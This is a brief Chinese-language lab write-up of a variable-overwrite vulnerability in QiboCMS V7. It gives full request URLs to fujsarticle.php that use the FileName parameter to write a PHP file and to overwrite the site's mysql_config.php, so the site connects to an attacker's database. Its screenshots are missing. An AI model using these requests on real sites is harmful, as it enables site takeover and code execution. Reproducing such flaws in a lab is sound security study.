一、安装好齐博CMS_V7,安装完成后如下:
二、分析代码
common.inc.php
http://192.168.189.129/qibo/do/fujsarticle.php?type=hot
http://192.168.189.129/qibo/do/fujsarticle.php?type=hot&FileName=xxxx.php
重新给filename赋值:,生成新的xxxx.php
这路的思路,就是将原来的数据库文件重新滞空,然后进行
http://192.168.189.129/qibo/do/fujsarticle.php?type=hot&FileName=../data/mysql_config.php(FileName区分大小写)
访问首页:
重新赋值:(数据库换成自己的数据库地址)
总结:总体思路,利用变量覆盖来重写数据库文件,然后对数据库文件重写连接服务器,进行代码利用。